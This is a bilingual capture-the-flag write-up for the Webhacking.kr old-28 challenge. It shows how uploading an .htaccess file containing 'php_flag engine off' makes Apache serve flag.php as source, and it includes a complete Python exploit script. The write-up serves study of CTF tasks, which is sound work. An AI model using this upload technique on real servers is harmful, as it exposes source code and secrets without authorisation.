Webhacking.kr old-28

Challenge

Read flag.php through an Apache upload directory.

通过 Apache 上传目录读取 flag.php。

http://webhacking.kr:10002/

Analysis

上传处理器接受名为 .htaccess 的文件，并把文件放进可被 Apache 访问的随机目录。目录中的 .htaccess 会覆盖该目录的 PHP handler；php_flag engine off 关闭 PHP 执行后，访问同目录的 flag.php 会返回源码而非执行结果。

Solution

完整上传和读取脚本如下：

#!/usr/bin/env python3
import re

import requests

BASE_URL = "http://webhacking.kr:10002/"

def upload_directory(response_text: str) -> str:
    match = re.search(r"/upload/[A-Za-z0-9]+/", response_text)
    if match is None:
        raise RuntimeError("upload response did not contain the upload directory")
    return match.group(0)

def main() -> None:
    session = requests.Session()
    response = session.post(
        BASE_URL,
        files={
            "upfile": (
                ".htaccess",
                b"php_flag engine off\n",
                "text/plain",
            )
        },
        timeout=20,
    )
    response.raise_for_status()

    upload_dir = upload_directory(response.text)
    flag_source = session.get(
        "http://webhacking.kr:10002" + upload_dir + "flag.php",
        timeout=20,
    )
    flag_source.raise_for_status()
    print(flag_source.text)

if __name__ == "__main__":
    main()

读取源码后，将其中的 flag 填入认证表单。

上传目录名按 session 随机生成，脚本从上传响应提取目录；.htaccess 还要求该目录允许 Apache override。